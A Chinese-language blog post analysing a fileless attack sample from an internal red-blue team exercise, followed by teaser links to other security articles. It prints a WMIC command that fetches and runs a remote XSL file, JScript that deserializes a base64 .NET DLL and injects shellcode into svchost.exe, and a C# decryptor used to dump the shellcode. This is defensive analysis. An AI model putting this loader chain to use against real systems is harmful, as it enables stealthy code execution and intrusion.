<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    一次紅藍對抗無文件攻擊溯源

    VSole2022-01-21 07:28:58

    0x01 簡述

    前段時間參加公司舉辦的紅藍對抗演習,幫助藍軍分析并溯源樣本。拿到樣本時,就一個xsl類型的文件,和一個用來執行該樣本的命令行,如下所示:

    C:/Windows/SysWOW64/wbem/WMIC.exe os get /format:"http://ip/scripts/1.xsl"
    

    可以看出,是通過白利用技術,通過wmic來執行的這個惡意的xsl文件,想了解更多,可以參考這篇文章

    https://3gstudent.github.io/3gstudent.github.io/%E5%88%A9%E7%94%A8wmic%E8%B0%83%E7%94%A8xsl%E6%96%87%E4%BB%B6%E7%9A%84%E5%88%86%E6%9E%90%E4%B8%8E%E5%88%A9%E7%94%A8/

    0x02 xsl文件分析

    XSL文件是一種可擴展樣式語言,可以通過內置標簽來解析執行其他腳本語言,如:Javascript,VBscript等。

    https://zh.wikipedia.org/wiki/%E5%8F%AF%E6%89%A9%E5%B1%95%E6%A0%B7%E5%BC%8F%E8%AF%AD%E8%A8%80

    通過分析發現,該xsl中內嵌的遠不止JS腳本這么簡單!內嵌的js腳本會修改當前進程的shell環境為.net的環境,然后通過解密base64硬編碼的PE文件,該文件是由C#編寫的DLL文件。

    然后以.NET的shell環境來調用.net的函數,并把硬編碼的dll文件字節碼反序列化成C#類對象,調用該類對象中的名為:call的函數,通過js調用.net函數,參考:

    https://github.com/tyranid/DotNetToJScript

    修改Shell環境為.NET:

    function autoversion()
    {
    var shell = new ActiveXObject('WScript.Shell');
            ver = 'v4.0.30319';
    try {
            shell.RegRead('HKLM\\SOFTWARE\\Microsoft\\.NETFramework\\v4.0.30319\\');
            } catch(e) {
            ver = 'v2.0.50727';
            }
            shell.Environment('Process')('COMPLUS_Version') = ver;
        }
    

    調用.net類對象的call函數,可以看到call函數傳入一個系統進程名字,svchost.exe,另一個是base64硬編碼的一段加密的code

    run函數:

    function run()
    {
            var serialized_obj = 'base64硬編碼的C# DLL文件';
            var cryptedcode = 'Base64加密的shellcode';
            var entry_class = 'test';
     
            try
            {
                autoversion();
                var stm = base64ToStream(serialized_obj);
                var fmt = new ActiveXObject('System.Runtime.Serialization.Formatters.Binary.BinaryFormatter');
                var al = new ActiveXObject('System.Collections.ArrayList');
                var d = fmt.Deserialize_2(stm);
                al.Add(fmt.SurrogateSelector);
                var o = d.DynamicInvoke(al.ToArray()).CreateInstance(entry_class);
                o.call('svchost.exe', cryptedcode);
            }
            catch (e)
            {
            }
     
            return 0;
        }
    

    serialized_obj變量中保存的是base64硬編碼的dll文件,首先通過Chrome瀏覽器自帶的調試器,還原出完整的base64加密字符串,點擊右下角的copy

    然后使用010Editor自帶的base64decode腳本解密該密文

    解密base64后,切換個hex模式,往下拉動滾動條,可以看到文件的MZ頭,刪除前面的垃圾內容,保留從MZ頭到末尾即可還原出DLL文件

    可以看到是.net2.0庫寫的dll

    0x03 C# DLL文件分析

    使用ILSpy工具反編譯剛才dump出來的C# DLL文件,可以看到內部有個test類,類中果然有個call的方法

    call(svchost,base64密文),Call方法中調用 DESEncrypt.Decrypt(b64code, test.key);方法,解密base64密文,然后使用硬編碼的DES KEY:***ATeam 解密shellcode

    最后調用CodeLoader.CreateProcessWithCode(path, code); 通過分析CreateProcessWithCode函數,發現是通過創建傀儡進程的方式注入shellcode并運行的,了解更多,請參考

    https://www.4hou.com/technology/8869.html

    0x04 shellcode分析

    通過上面的分析,可以寫一個C#程序,把注入到進程中的shellcode dump出來

    using System;
    using System.Collections.Generic;
    using System.IO;
    using System.Linq;
    using System.Security.Cryptography;
    using System.Text;
    using System.Threading.Tasks;
     
    namespace test
    {
        class Program
        {
            static string key = "xxx";
            static string cryptedcode = "base64->des加密的shellcode";
     
            public static byte[] Decrypt(string pToDecrypt, string sKey)
            {
                DESCryptoServiceProvider dESCryptoServiceProvider = new DESCryptoServiceProvider();
                byte[] array = Convert.FromBase64String(pToDecrypt);
                dESCryptoServiceProvider.Key = Encoding.ASCII.GetBytes(sKey);
                dESCryptoServiceProvider.IV = Encoding.ASCII.GetBytes(sKey);
                MemoryStream memoryStream = new MemoryStream();
                CryptoStream cryptoStream = new CryptoStream(memoryStream, dESCryptoServiceProvider.CreateDecryptor(), CryptoStreamMode.Write);
                cryptoStream.Write(array, 0, array.Length);
                cryptoStream.FlushFinalBlock();
                return memoryStream.ToArray();
            }
     
            static void Main(string[] args)
            {
     
               byte[] code =  Decrypt(cryptedcode, key);
               string filePath = Directory.GetCurrentDirectory() + "\\123.txt";
               if (File.Exists(filePath))
                   File.Delete(filePath);
     
               FileStream fs = new FileStream(filePath, FileMode.Create);
               fs.Write(code, 0, code.Length);
               fs.Flush();
               fs.Close();
     
                 
               int n = 123;
            }
        }
    }
    

    分析shellcode后,發現是個loader程序,對應的C2地址,由于這邊IP訪問限制,訪問不了總部那邊的網絡

    硬編碼base64
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    本研究的系統分析揭示了一系列漏洞,這些漏洞證明了 EVCSMS 對遠程網絡攻擊的不安全性。考慮到此類攻擊的可行性,還討論了針對 EV 充電站 (EVCS,EV Charging Stations) 及其用戶的攻擊影響。
    Satacom下載程序,也稱為LegionLoader,是2019年出現的一個著名的惡意軟件家族。該惡意軟件利用查詢DNS服務器的技術獲取base64編碼的URL,以便接收當前由Satacom傳播的另一惡意軟件家族的下一階段。
    根據分析人員的觀察,該團伙并不針對特定部門或者地區進行攻擊。密文以 base64 編碼的形式存在于二進制文件中,解碼后使用固定的密鑰進行解密。此外,各種數據備份與反惡意軟件服務也會被終止。清除日志是勒索軟件用于掩蓋蹤跡并阻礙分析人員調查的常用手段,后續就會開始加密行為。根據其網站披露的信息,受害者的行業分布排名為教育、IT、醫療保健、制造業與食品生產。
    Xray撿洞中的高頻漏洞
    2021-12-28 04:33:22
    X-Ray 刷洞發現一些出現頻率高的漏洞,把漏洞原理和利用方式稍作整理,按照危害排名,低危漏洞可以收集一些信息然后深度利用變高危。
    研究人員在TP-Link Tapo智能燈泡和APP中發現4個安全漏洞,可用于竊取目標WiFi密碼。
    APP簡單逆向到getshell
    2022-11-10 08:45:28
    因為url中出現weixin關鍵詞,推測兩種可能,第一種:登陸點,第二種,微信授權接口。寫入webshell踩坑RCE之后呢,當然不能只滿足現狀,為了方便管理,肯定得寫個webshell的。估計跟編碼有關,大概試了半個多小時,無果。
    2022年1月,研究人員發現了一個名為ChromeLoader(也稱為ChoziosiLoader和ChromeBack)的新瀏覽器劫持者/廣告軟件活動。盡管使用了簡單的惡意廣告,該惡意軟件還是被廣泛傳播,可能會泄露成千上萬用戶和組織的數據。
    近日,Cyble研究實驗室發現了一種名為Prynt Stealer的新信息竊取軟件。該竊取軟件是網絡犯罪論壇上的新成員,具備各種功能。除了竊取受害者的數據外,還可以使用剪輯器和鍵盤記錄操作進行財務盜竊。此外,它可以針對30多種基于Chromium的瀏覽器、5個以上基于Firefox的瀏覽器,以及一系列的VPN、FTP、消息和游戲應用軟件。此外,構建者可以自定義此竊取軟件的功能。
    研究人員發現了針對Mac的惡意加密貨幣交易應用程序的網站。該惡意軟件用于竊取信息,例如瀏覽器Cookie,加密貨幣錢包和屏幕截圖。通過分析惡意軟件樣本,我們很快發現這是趨勢科技研究人員稱為GMERA的一項新活動,他...
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类